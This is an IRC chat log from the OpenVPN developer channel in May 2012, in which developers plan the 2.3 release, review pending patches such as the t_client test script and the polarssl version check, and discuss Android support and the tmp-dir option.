[nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 21:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu May 31 2012 02:24 <@mattock> hmm, maybe we should have a meeting _today_ 02:24 <@mattock> last week somehow slipped by 02:38 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 02:38 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 02:38 <@cron2> unless dazo shows up and commits the t_client changes, we have not made that much progress... 02:41 <@mattock> we got a few patches to merge still, besides that one 02:42 <@cron2> true 02:43 <@mattock> here: https://community.openvpn.net/openvpn/wiki/OpenVPN2.3 02:43 <@vpnHelper> Title: OpenVPN2.3 – OpenVPN Community (at community.openvpn.net) 02:49 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 02:55 -!- const is now known as trout 02:56 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 02:57 <@cron2> mattock: there's a patch missing from me, "route-gateway for IPv6". This is needed for route-ipv6 on TAP interfaces - it's not yet done, so you can't link to it, but it should go into 2.3 (and as we're at least half a year away from a RC, there's still enough time) 02:57 <@mattock> ok 02:57 <@mattock> half a year at this pace, yes 03:15 <@cron2> which actually brings up an interesting question... 03:15 <@cron2> d12fk: I've seen you join, hiding is futile :-) - how's the new gui + windows privsep stuff proceeding? 03:16 <@d12fk> we're good, the bugs are fixed 03:16 <@d12fk> just need to implement the feature discussd on the list 03:24 <@cron2> "just" :-) - so what's your estimate, can you make 2.3? 03:25 <@cron2> (I see a looooooooong delay between 2.3 and 2.4, and it would be tremendously useful to have the windows privilege stuff out) 03:31 <@d12fk> i expect epic threads with the guys on the mailing list, so it could be hard 03:32 <@cron2> d12fk: yes, this is a problem which is also blocking me (I don't feel like posting anything to the list anymore, if it will inevitably result in a longish discussion on basic principles) 03:33 <@cron2> d12fk: ignoring that aspect, and just assuming "you send the patch, you get some feedback on specific bits and pieces, and can concentrate on coding the stuff" - what do you think? 03:34 <@d12fk> as out utm9 is pretty much done now i can concentrate on the ovpn stuff again, so should be doable 03:34 <@cron2> cool 03:34 <@d12fk> when's the dealine for it to be ready, as in discussed and merged? 03:38 <@cron2> when do you want it to be? (this is half-serious: we have not set a deadline yet. I want it to be "soon!", Alon wants it to be "when everything is perfect!", and reality will have to be somewhere in between) 03:38 <@cron2> maybe it would help us all to set a fixed deadline, like "August 1st = release 2.3rc" or so (two months from now) so we know what to aim for 03:41 <@d12fk> yeah you need a date that can be postponed, otherise this wont work 03:43 <@cron2> sure, I'm well aware how software development works in volunteer projects :-) (and I have this other little project in the works which is to be released June 16, daughter #2... :) ) 03:43 <@cron2> but seriously: what do you estimate? 03:43 <@cron2> (ignoring politics, focusing on code) 03:43 <@d12fk> code should be easy, 1-2 weeks 03:45 <@cron2> cool. (I take this as a push for myself to be ready with the route-gateway-ipv6 stuff by then as well) 03:47 -!- dazo_afk is now known as dazo 03:49 <@dazo> mattock: cron2: My day today is highly packed, esp. in the afternoon ... so if we can have a much earlier meeting, I'm able to join something today 03:49 <@dazo> I'm in Czech these days, and do a combined holiday and working session with colleagues in Brno 03:50 <@dazo> (and I hope I can manage to go through some of the patch queue at least) 03:52 <@cron2> dazo: when would "much earlier" be? 03:52 <@cron2> dazo: for mattock and me, the t_client.sh patch would be most important to be able to go forward on the client side connectivity tests 03:53 <@dazo> 17:00 CEST or so 03:53 * dazo need to leave as close to 18:00 CEST as possible 03:55 <@dazo> cron2: I'll surely poke at that patch ... it's the 'make check' patch, isn't it? 03:58 <@cron2> yes 03:58 <@cron2> (which comes with a huge bag of politics) 03:59 * cron2 is fine with a short meeting at 17:00 CEST-ish, but needs to leave at 17:30-ish ($child will be back from day care at about that time, and we MUST eat at 1800, otherwise world ends) 04:02 <@dazo> ack 04:14 <@mattock> 17:00 UTC it is, then? 04:16 <@dazo> no, not UTC 04:17 <@dazo> 15:00 UTC, that is 04:17 <@dazo> 17:00 CEST (UTC+2) 04:32 <@mattock> 15:00 UTC, ok 04:32 <@mattock> I should be able to make it 04:32 <@mattock> have to help a friend move to a new apartment, but should be back by then 04:32 <@mattock> I'll send the meeting announcement 04:51 <@mattock> ok, sent 05:20 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 05:21 <@dazo> cron2: did you have a look at Alons version of your patch? 05:24 < plaisthos> helo, I am decided to join the channel and lurk a bit :p 05:33 <@mattock> hi plaisthos! 05:44 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 245 seconds] 05:45 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 06:34 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 06:39 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 248 seconds] 06:42 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 06:53 <@cron2> dazo: not yet. I decided that I have no time this week to read mail from Alon 06:58 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 06:58 <@cron2> (I admit I didn't notice that it contains a new version of the patch and not yet another argument why everything we do is all wrong) 06:58 * plaisthos grins 06:59 <@cron2> in the end, I don't care. I want this fixed, and Mattock needs something to run for his buildslaves - but I'm more than a bit annoyed at functionality getting lost, and then having to *discuss* bringing it back to the state it had before 07:00 <@dazo> cron2: I completely agree 07:00 <@cron2> plaisthos: good to see you didn't lose your humor yet ;-) 07:01 <@dazo> plaisthos: great to see you here! 07:03 < plaisthos> cron2: my extensions which were all wrong did at least got me some good ratings on the Android Market 07:04 < plaisthos> But I will split out the non android stuff and submit it to the mailing in the next few days 07:04 * cron2 is quite excited about having an Android OpenVPN that doesn't need root access - this is way cool 07:05 <@cron2> no whitespace changes in the patch, please :-) 07:05 < plaisthos> cron2: yes :) 07:06 < plaisthos> things like openvpn does not start if /tmp does not exist 07:06 < plaisthos> (which is not that common on UNIX I admit) 07:07 * cron2 points at dazo "this is all his fault" :-) (we *added* code for 2.3 that checks all the usual things for existance, so we can fail with a well-defined error message, than with some harder-to-understand error later on) 07:07 < plaisthos> no problem :) 07:08 <@dazo> :) 07:08 <@cron2> but yeah, these checks backfired on a few platforms in interesting ways :)) 07:09 <@dazo> Yeah, that error is definitely my fault :) ... when we hardened the code, to avoid "hijacking" of temp files (earlier OpenVPN just provided a file name, but now it creates an empty file) .... and we took it for granted that all *nix platforms had /tmp present 07:10 < plaisthos> Yeah, the config option tmp-dir works. But it is only available if P2MP mode is enabled 07:10 <@dazo> and then another patch which added checks if configured paths and files exists and so on 07:10 <@dazo> that's interesting! 07:11 <@cron2> huh, tmp-dir depends on P2MP mode? interesting. 07:11 <@dazo> I thought we had covered that already ... but I'm obviously wrong 07:12 <@cron2> (but yeah, well possible if the tmpdir() stuff is only ever used in P2MP mode on the server... but then the *check* should also be #ifdef'ed) 07:12 * cron2 pre-ACKs such a change :-) 07:12 < plaisthos> the tmp dir is only used in the plugin code somewhere 07:12 < plaisthos> s/only/also/ 07:13 * dazo brb ... and will then dig into that after applying a patch for cron2 and mattock 07:15 < plaisthos> my patch so far is to enable tmp-dir always (https://github.com/schwabe/openvpn/commit/29464b8a307a754a9d73a8ad1377dec7299a02bb) 07:15 <@vpnHelper> Title: allow tmp-dir in client mode · 29464b8 · schwabe/openvpn · GitHub (at github.com) 07:16 < plaisthos> but I wanted to look into the plugin stuff before posting it to the ML 07:18 <@cron2> that patch does the job, but if nothing in the code ever uses tmp_dir unless P2MP is enabled (and I think plugins are also only used in P2MP mode), not running the check if not P2MP mode might be more sane 07:18 < plaisthos> Yeah I will look into it 07:18 * cron2 lets dazo dig, he knows the plugin code better than I do 07:20 < plaisthos> plugins are also used in non P2MP think of the - soon out of tree - downroot plugin 07:21 <@cron2> oh. good point 07:25 -!- Sevet_ [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 07:26 -!- dazo is now known as dazo_afk 07:31 -!- Sevet_ [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 246 seconds] 07:39 -!- dazo_afk is now known as dazo 07:40 <@dazo> plaisthos: tmp-dir is used by the client-connect hooks, iirc ... where you can use it to pass script/plug-in generated "ccd" configs to the client 07:41 <@dazo> and it's also used in the packet-filtering code (pf.c) where it is used by plug-ins to write what to filter (allow/deny rules) ... kind of like an internal IP based firewall 07:42 < plaisthos> yeah I know the internals of the pf code :) 07:42 <@dazo> cool! not many does that :) 07:43 <@dazo> and yeah, one more place ... in verify_cert_export_cert() ... that's the three places which depends on --tmp-dir 07:44 < plaisthos> pf code is one of the most obscure features in openvpn in my opionen. Most people dealing with openvpn don't even know that this exists 07:44 <+krzee> true 07:46 <@cron2> dazo: ccd depends on P2MP. what about pf and verify_cert_export_cert()? 07:47 <@dazo> cron2: without having looked at the code, I would expect pf to be P2MP related as well ... as packet filtering wouldn't make sense at all in P2P mode 07:47 <@dazo> plaisthos: well, you can also blame the lack of documentation for pf to not be well known :) 07:48 < plaisthos> dazo: for a p2p tap deployment it is a small firewall 07:48 < plaisthos> iirc pf only works in tap mode but my memory could be mistaken 07:48 <@dazo> oh true! I was just using common sense ... that doesn't always apply in openvpn :-P 07:50 <@dazo> #if defined(ENABLE_PF) && P2MP_SERVER && defined(ENABLE_PLUGIN) && defined(HAVE_STAT) 07:50 <@dazo> #define PLUGIN_PF 07:50 <@dazo> #endif 07:50 <@dazo> #if defined(ENABLE_PF) && P2MP_SERVER && defined(MANAGEMENT_DEF_AUTH) 07:50 <@dazo> #define MANAGEMENT_PF 07:50 <@dazo> #endif 07:50 <@dazo> that's from syshead.h 07:50 < plaisthos> oh okay 07:52 <@dazo> oh dear ... that code path needs an overhaul as well ... ENABLE_PF is checked for in pf.c ... and it depends on PLUGIN_PF 07:52 <@dazo> so it is possible to have parts of the pf code present without PLUGIN_PF ... but the only way to interact with pf ... is via a plug-in 07:54 * dazo goes back to urgent patches 07:54 < plaisthos> :) 07:54 <+krzee> sweet 07:55 <@dazo> plaisthos: before I forget ... how does the android client depend on --tmp-dir? 07:56 < plaisthos> dazo: /tmp does not exist on Android. The default code check for existence of tmp_dir which is not settable without --tmp-dir 07:57 <@dazo> ahh, okay .... so actually doing an #ifdef P2MP_SERVER around the --tmp-dir check would be sufficient then? 07:57 < plaisthos> so I set tmp-dir to a path that works. After looking through code I could have set TMP_DIR environment variable too 07:57 < plaisthos> dazo: yes, but the tmp_dir variable itself should also be #ifdef'ed then 07:57 < plaisthos> so it is only available if checked 07:58 <@dazo> fair point 07:53 <@dazo> okay, we'll figure that out :) 07:54 <+krzee> oh hey plaisthos, i just recognized you from the forum, glad to see you found your way to the dev channel! 07:54 < plaisthos> a typical android config looks like this: http://ics-openvpn.googlecode.com/issues/attachment?aid=230000002&name=config.png&token=Z_uTxXwuR0ERPm0fxfMOmDPXjgg%3A1338468859151&inline=1 07:56 <+krzee> whats up with the route 0.0.0.0/0 ? 07:56 < plaisthos> default route 07:57 <+krzee> redirect-gateway broken on it? 07:57 < plaisthos> nah 07:57 < plaisthos> redirect-gateway does too much 07:57 <+krzee> ?? 07:57 <@cron2> and not needed since Android takes care of not messing up the openvpn transfer socket 07:57 <+krzee> ahh 07:57 <@cron2> (however they do *that* :) ) 07:57 < plaisthos> on android you don't need to proetect your managment connection you call protect(sock) for that 07:57 <@cron2> what he said 07:57 <+krzee> interesting 07:58 < plaisthos> I have look into how android does that too :) 07:58 <+krzee> so it loses its route but not its socket? 07:58 <+krzee> thats cool! 07:58 < plaisthos> btw. setting route 0.0.0.0/0 on android internally sets 0.0.0.0/1 and 128.0.0.0/1 07:58 <+krzee> srs!? 07:58 < plaisthos> but I have not yet found the magic that protects the socket 07:58 < plaisthos> yes 07:59 < plaisthos> and ::/0 sets ::/1 and 8000::/1 07:59 <@cron2> that would have been my next question :-) "does it handle IPv6 as well?" 07:59 <+krzee> lol those crafty android devs! 07:59 <@cron2> cool 08:00 <+krzee> so route 0.0.0.0/0 on addroid is effectively redirect-gateway def1 08:00 <+krzee> haha 08:01 <@cron2> sort of, but without the code that figures out where the current default gateway is, installs a /32 route for the openvpn server IP, etc. 08:05 <+krzee> but it doesnt need that to protect the socket, which is the only reason for that 08:05 < plaisthos> the protect function is not that magically 08:05 <@cron2> yes 08:05 < plaisthos> the normal vpn could do it as well 08:06 <@cron2> -v? 08:06 < plaisthos> http://pastebin.com/EW2TrXQX 08:07 <+krzee> plaisthos, so if new traffic is sent to the vpn server (not the same socket as the vpn), does it flow over the vpn? 08:07 <@cron2> mmmh. Need to go and find out what SO_BINDTODEVICE does, exactly, especially if it's a multiaccess ("ethernet") device where you also need the next-hop 08:08 < plaisthos> krzee: should 08:08 < plaisthos> let me check .. 08:09 < plaisthos> yes it is routed via vpn 08:09 <+krzee> haha cool 08:28 < plaisthos> have to going :/ 08:29 <@cron2> *wave* 08:38 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 08:40 <+krzee> later o/ 08:41 * ecrist is recovering 08:41 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 08:42 -!- mode/#openvpn-devel [+v janjust] by ChanServ 08:42 < ecrist> Minnesota State Patrol paid for a night of drinking for me last night. 08:42 < ecrist> it was a lot of fun 08:42 < ecrist> I don't remember getting home 08:42 <+krzee> sweet! 08:43 <+krzee> http://www.youtube.com/watch?feature=player_embedded&v=PhbRcDZiJJc#! 08:43 <@vpnHelper> Title: IL Rep. Mike Bost Is Furious Over Pension Reforms - YouTube (at www.youtube.com) 08:49 <@cron2> ecrist: shouldn't the State Patrol pay for you *not* drinking...? :) 08:51 < ecrist> they got a bunch of people drunk so they could train new recruits how to do sobriety tests 08:52 < ecrist> I blew a .127 after 17 drinks 09:15 <+krzee> lol 09:15 < ecrist> still managed to pass more than half the tests 09:21 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:37 -!- ibins [~Michael@2001:6f8:1c60:7777:21a:4dff:fe66:600c] has joined #openvpn-devel 09:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 09:48 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:48 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:49 -!- jamxNL_ [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 09:52 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has quit [Ping timeout: 245 seconds] 09:57 -!- Irssi: #openvpn-devel: Total of 20 nicks [6 ops, 0 halfops, 1 voices, 13 normal] 09:59 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 10:00 <@mattock> meeting time 10:01 <@dazo> yeah 10:02 <@cron2> here I am 10:02 <@cron2> 45 minutes to go 10:03 <@mattock> topic list: https://community.openvpn.net/openvpn/wiki/Topics-2012-05-31 10:03 <@vpnHelper> Title: Topics-2012-05-31 – OpenVPN Community (at community.openvpn.net) 10:03 <@mattock> or rather, behind the link on that page 10:03 <@mattock> first would be https://github.com/alonbl/openvpn/tree/build 10:03 <@vpnHelper> Title: alonbl/openvpn at build · GitHub (at github.com) 10:03 <@mattock> oops, not a patch? 10:04 <@dazo> nope, a branch, I believe 10:05 <@mattock> ah yes, starts to make sense 10:05 <@cron2> so where do I click to see the diff? 10:06 <@mattock> https://github.com/alonbl/openvpn/commit/d7475e2323d777938c21a6b6ad97064656aa1eee 10:06 <@vpnHelper> Title: build: t_client re-addition · d7475e2 · alonbl/openvpn · GitHub (at github.com) 10:07 <@dazo> how do we make the commit list against the upstream master branch? that's the interesting changes 10:07 -!- jamxNL_ is now known as jamxNL 10:07 <@cron2> that's just the very latest diff (which was also sent to the list). I'm not sure why that one is "better" than my patch, as it does the same thing except change a few texts (which I'm not liking) and adds TESTS_ENVIRONMENT (which I do not known anything about) 10:08 <@dazo> As I see it, Alon's patch is more aligned towards the autotools way of doing things 10:08 <@cron2> the autotools way of doing things needs changes to the way the error message is printed? 10:08 <@dazo> I've compared both patches, and it does exactly the same - just being more "correct" somehow 10:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:09 <@mattock> dazo: do we need to look at HEAD of these branches only, or are some of the older patches missing, too? 10:09 <@cron2> well, most of it is identical, except for TESTS_ENVIRONMENT, the @IPROUTE2@ test written differently (which I'm fine with) and the error message for "cannot find t_client.rc" changed in a non-helpful way 10:09 <@dazo> mattock: I honestly don't know ... which is why I'm looking at the what's posted to the ML 10:10 * ecrist grabs popcorn before the dev war gets started 10:10 <@dazo> cron2: he actually extended the error message you proposed ... 10:10 <@cron2> dazo: huh? 10:11 <@cron2> my code has a two-line message that explains what these directories are *about* 10:11 <@cron2> echo "$0: cannot find 't_client.rc' in build dir ('${top_builddir}')" >&2 10:11 <@dazo> ahh! 10:11 <@cron2> echo "$0: or source directory ('${srcdir}'). SKIPPING TEST." >&2 10:11 <@dazo> sorry, I mixed my windows 10:11 <@cron2> and not "just list directories" 10:12 <@cron2> and the "no openvpn binary" message is misleading, because it will never be in $top_builddir anyway 10:12 <@cron2> so, no, I cannot see why his is "better", and just dropping this without explanation *why* this is better is not going to help 10:13 <@dazo> agreed ... and considering his commit message is a rant instead of a commit message 10:13 <@dazo> ....... 10:13 <@cron2> but let's not talk about *this* one, let's focus on the other open issues 10:14 <@cron2> (I see a few more t_client.sh.in patches coming, as soon as mattock will start working with it and we see what needs to be improved...) 10:14 <@mattock> dazo: are you using GitHub as the main repository now? 10:14 <@mattock> i.e. should I pull it 10:14 <@mattock> or clone, rather 10:14 <@dazo> mattock: nope, I will use sf.ent as main repo ... but I will push to github 10:14 <@dazo> sf.net* 10:14 <@mattock> ok 10:16 <@mattock> "build: check minimum polarssl version" not merged? 10:16 * dazo really considers to NAK alons patch and ACK cron2's patch ... but considering if it's worth another flame war which will come 10:16 <@dazo> mattock: nope, it's on my todo list 10:16 <@dazo> that one, I'll ACK, adding Reviewed-by andj 10:16 <@mattock> does the polarssl patch need an ACK? 10:16 < ecrist> dazo: not NAKing a patch, simply because you're afraid of a temper tantrum is exactly the wrong thing to do 10:16 <@cron2> dazo: please ACK, so we can go on with the client tests, and if the autotool-related things are really so important, we can always change that later 10:17 <@dazo> ecrist: I know ... but I only have a certain amount of patience and energy .... 10:17 * cron2 is not standing in the way of anything autotool-related as long as it's explained 10:17 <@dazo> exactly, cron2 10:19 <@cron2> mattock: is there anything else in "build" but the polarssl-version and the t_client.sh patch? 10:19 <@dazo> mattock: considering, I'll dare to ack the polarssl stuff, it's just fine 10:19 <@mattock> ok, two down 10:19 <@mattock> some more to go 10:20 <@cron2> dazo: do you have the .gitignore one? (1cf56c407e515682e)? 10:20 -!- coderrr [~steve@pdpc/corporate-sponsor/privateinternetaccess.com/coderrr] has quit [Ping timeout: 260 seconds] 10:20 <@dazo> cleanup: update .gitignore is fine 10:20 <@dazo> that'll be ACKed by me 10:20 <@cron2> that one :) 10:21 <@mattock> this looks fine, too: "build: spec: we support openssl >= 0.9.7 " 10:21 <@dazo> yeah, that'll go in 10:21 <@dazo> "install README* documents...." I'm double checking with the RPM managers ... I find it odd to add a workaround to a rpmbuild issue fixed almost a year ago 10:22 < ecrist> what's the point? 10:23 <@cron2> have these patches been on the mailing list? I don't claim to have read everything, but these look quite unknown to me 10:23 <@dazo> rpmbuild has a bug related to the usage of one of its macros ... but talking about the sun .... the RPM maintainer just recommended to add this workaround, as it's present in a lot of rpm installations 10:23 <@dazo> cron2: yeah, they have :) 10:24 <@cron2> ok 10:24 <@dazo> at least I recognise what mattock points at :) 10:24 <@cron2> then I just saved them away as "I can't comment on that" 10:24 -!- chantra_ [~chantra@unaffiliated/chantra] has joined #openvpn-devel 10:25 <@dazo> I'm completely ignoring the syshead cleanup stuff ... that's for v2.4, I think ... we've done enough revolution for v2.3 10:25 <@mattock> so "build: insall README* document using build system" looking ok? 10:27 <@dazo> mattock: seems so 10:27 <@mattock> and this one is trivial, I assume: "cleanup: spec: make space/tab consistent" 10:28 <@dazo> "[PATCH] Don't require DAF_INITIAL_AUTH to send ADDRESS/DISCONNECT messages" ... that's something James should look at 10:28 <@cron2> where are we now? 10:28 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel . 10:28 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:29 <@cron2> dazo: that's not truly helpful :-) 10:29 <@mattock> ah, I used GitHub, dazo used mailing list archive 10:29 <@dazo> cron2: if you search the subjects we mention, you'll find them really fast 10:29 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 272 seconds] 10:30 <@mattock> I'll let dazo take the lead 10:30 * cron2 has no DAF_INITIAL_AUTH anywhere 10:30 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/6457/match=daf_initial_auth 10:30 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 10:30 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/6456 10:31 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:31 <@cron2> ah, wrong mailbox looking I was 10:31 <@dazo> :) 10:31 <@mattock> cryoda2? 10:32 <@cron2> I was looking for Alon patches, not for yet something else :-) - anyway, can't comment on that either 10:32 <@mattock> let's send it to James 10:32 <@dazo> mattock: can you follow that one up with James? ... and also the OCC ping patch 10:32 <@cron2> the polarssl version got a feature-ack from andj already 10:32 <@mattock> yep, I'll ask him to review them 10:32 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/6619 10:32 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:34 <@dazo> This one looks fine ... http://thread.gmane.org/gmane.network.openvpn.devel/6532 10:34 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:34 <@mattock> yep 10:34 <@cron2> the OCC stuff looks intersting, but I'm not sure it does what it claims - it sends OCC pings and replies to them, but I can't see whether it verifies that the ping actually came back 10:35 <@dazo> then there is this Android patch ... but we should probably discuss that more with Arne here when he comes back 10:35 -!- RubyPanther [~paris@c-24-22-48-80.hsd1.or.comcast.net] has quit [Ping timeout: 240 seconds] 10:35 <@dazo> cron2: agreed .... but is this a "nice to have (for some)" feature .... or "need to have (for most)" feature? 10:36 <@mattock> the Android patch or the OCC patch? 10:36 <@cron2> dazo: the OCC ping - I think the current implementation of "ping" is not ideal, as it needs to be synchronized between client and server. So having something that can be turned on on one side, whatever the server defaults to, is useful 10:37 <@cron2> so "feature ACK" 10:37 <@dazo> cron2: okay, good! 10:37 <@cron2> whether the implementation is the "right" way forward, I can't say, as I have not looked into ping and occ closely enough 10:37 <@dazo> mattock: the OCC patch 10:37 <@dazo> (Android is a must) 10:38 <@cron2> openssh has something similar (the ServerAliveInterval thing) 10:39 <@cron2> next patch: sys/wait.h - autoconf religion demands that this is done, while I've expressed more pragmatic views there ("if we know we're on *BSD, we know we have <sys/wait.h>") 10:39 <@cron2> I am going to abstain on this 10:41 <@dazo> cron2: I think Alon discussed an issue here with krzee, where they found out this was needed 10:42 <@cron2> well, OpenVPN currently builds on all FreeBSD versions, OpenBSD and NetBSD, so I'm not sure why this would be needed. But if krzee says so, then put it in. 10:42 <@cron2> ah 10:42 <@cron2> we already broke it 10:42 <@cron2> syshead.h has 10:42 <@cron2> #ifdef HAVE_SYS_WAIT_H 10:42 <@cron2> # include <sys/wait.h> 10:42 <@cron2> #endif 10:43 <@cron2> but nobody sets HAVE_SYS_WAIT_H 10:43 <@cron2> otoh, nobody seems to *miss* it, as it still builds... 10:44 <@cron2> so maybe the inclusion of <sys/wait.h> needs to go :-) 10:44 <@cron2> anyway: for consistency between syshead.h and configure, I hereby ACK the patch. Done. Next :-) 10:44 <@dazo> The last one probably for today ... http://thread.gmane.org/gmane.network.openvpn.devel/6402 10:44 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:45 <@cron2> (I assume that not including <sys/wait.h> will just result in "no prototype for wait()" warnings) 10:45 <@dazo> cron2: I think you're right 10:46 * dazo see a grammar mistake in the commit message ... but I can fix that :-P 10:46 <@cron2> ack on 6402 10:46 <@cron2> if it's dead, away with it 10:46 <@dazo> yeah 10:47 <@cron2> ok, I have 5 more minutes :) 10:47 <@mattock> time for 5 more patches then 10:47 <@mattock> :) 10:47 <@mattock> dazo: what's next 10:47 <@cron2> I'll go through the syshead cleanup stuff tonight, much of it looks reasonable 10:48 <@dazo> http://article.gmane.org/gmane.network.openvpn.devel/6383 10:48 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 10:48 <@mattock> I think we should include the syshead stuff if it looks clean 10:48 <@dazo> cron2: yeah, but that's no hurry ... if we don't want it into 2.3 10:48 <@cron2> no idea about that 10:49 <@cron2> dazo: 2.3 is at least two months away, so we can get some non-controversial cleanups in 10:49 <@dazo> agreed 10:49 < jamxNL> /win 2 10:49 < jamxNL> oops ;] 10:49 <@mattock> :) 10:49 <@dazo> I'm considering to fork the master branch soonish ... so we can start pulling in things for 2.4 into master 10:49 <@mattock> good idea 10:50 <@cron2> nah 10:50 <@mattock> can we feature freeze 2.3 now/asap? 10:50 <@dazo> mattock: that's why master is so quiet recently ;-) 10:50 <@cron2> we want d12fk's windows privsep stuff and my route-gateway-ipv6 in 2.3 and master 10:50 <@mattock> well, the android thingy is missing, but can we expect it to arrive soon? 10:50 <@cron2> yes 10:51 <@dazo> okay, so we will then have alpha2 soonish ... and then alpha3 with those last pieces 10:51 <@d12fk> how about faster releases and not wait for so much so long? 10:52 <@cron2> dazo: that sounds doable 10:52 <@mattock> the android support could be an external patchset, too 10:52 <@dazo> d12fk: I generally agree ... but it's not always easy to predict how much time (at least for my part) which is available for openvpn hacking 10:52 <@mattock> d12fk: I'd prefer that approach too 10:52 <@cron2> d12fk: that would be good, but I'm not sure how to get there 10:52 <@dazo> when we switch to beta ... then we're doing bug fixes 10:52 * cron2 wanted to see 2.3 end of last year 10:53 <@mattock> well, not to go off-topic, but I'd like to see a replacement for our current ACK system... it's not working as well as it should 10:54 <@cron2> that's less the ACK system but some people's personalities 10:54 <@mattock> well, we're constantly reviewing patches in meeting, and we have only one meeting in a week at tops... so it adds lots of delays 10:54 <@cron2> we want more contributors, but that can't be achieved if every posting is greeted with "this is all so wrong, and we don't want this anyway, and it could be maintained externally" 10:54 <@mattock> personalities add extra delay 10:54 <@dazo> I'm willing to see more people pull in patches into a forks of the master branch ... but then we're moving towards a sub-maintainer model 10:55 <@mattock> we should probably give GitHub a fair go 10:55 <@cron2> dazo: I'm not sure that would actually help - if people pull in patches, they can as well ack it on the list 10:55 <@dazo> cron2: fair point 10:55 <@cron2> mattock: I'm not sure why that would help either. Anyone can fork sf.net anywhere, but you have seen how useful reviewing "stuff in github" is 10:55 <@dazo> but lately, it's been my pulling in patches which has been partly hurting the process 10:56 <@dazo> mattock: github doesn't simplify the code management .... it's a git repo with a fancy webUI on top 10:56 <@dazo> + social networking features 10:56 <@mattock> cron2: have we reviewed any stuff on GitHub? 10:56 <@dazo> but in the bottom, there's the git stuff 10:56 <@mattock> yeah, obviously 10:56 <@cron2> dazo: how would the "dazo-bottleneck" go away if (say) I were to maintain an ipv6-sub-repo? 10:56 <@cron2> mattock: well, we tried, with you posting links to github 10:56 <@cron2> mattock: I'm not sure what else we did :) 10:57 <@mattock> I mean the commenting features it's supposed to have 10:57 -!- RubyPanther [~paris@c-24-22-48-80.hsd1.or.comcast.net] has joined #openvpn-devel 10:57 <@cron2> mattock: well, not that part. 10:58 <@mattock> that's what I meant with a fair go :) 10:58 <@mattock> if it could help with the (initial) commenting that'd help 10:58 <@cron2> I'm not sure why it would speed up things if we spend our limited time trying new things all the time, instead of focusing on *code* and going *forward*... 10:58 <@cron2> but maybe I'm just too old-fashioned 10:59 <@mattock> could be :P 10:59 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:59 <@dazo> cron2: (ipv6-sub-repo) exactly ... which is why, if more people would pull in generic patches ... I could quickly rebase your repo and push it out to all our places 10:59 <@cron2> ACK-on-mailinglist works perfectly well if there is *interest* in the patches in question, and know-how. If there's no interest, I can't see why all of a sudden people would be interested in commenting in a web interface. 10:59 <@dazo> cron2++ 10:59 <@mattock> well, the people would have to be different people 10:59 <@mattock> and they might be 11:00 <@cron2> dazo: (ipv6-sub-repo) wouldn't that be about as quick or not as "cron2 has ACKed it on the list, git-am it"? 11:00 <@cron2> mattock: do you have a few standing in line to comment code on github? 11:00 <@mattock> no, but do what do we lose by trying it out? 11:01 <@dazo> cron2: well, the ACK is 20% of the work, the git-am is 40%, git-push 20% and mailing the ACK message the last 20% 11:01 <@cron2> mattock: time 11:01 <@cron2> dazo: oh, so having a sub-repo maintainer would actually save so much work - then we might consider that 11:01 <@cron2> anyway, need to quit 11:01 <@cron2> "papa come eat!" 11:01 <@dazo> :) 11:01 <@mattock> bye! 11:01 <@dazo> okay, c'ya 11:02 <@dazo> mattock: will you be able to post the summary tomorrow or so? 11:02 <@dazo> and what about the meeting we discovered were missing ... did you need my chat log? 11:02 <@mattock> yeah, although at some point I got confused what patches got an ACK 11:02 <@mattock> yeah, please send it to me 11:02 <@mattock> dazo: do you have a list? 11:03 <@mattock> of ACKed/NACKed patches? 11:03 <@dazo> mattock: send me a draft and I'll review it ... I have my mailbox basically, trusted you did the notes ;-) 11:03 <@mattock> I didn't take any, I'll look at the chatlog and write :) 11:03 <@dazo> It's nothing controversial today 11:03 <@mattock> we'll see about that when the summary gets sent :) 11:03 <@dazo> so it'll be fine, no matter what 11:04 <@mattock> ok, let's call it a day 11:06 <@dazo> ACK :) 11:19 -!- ibins 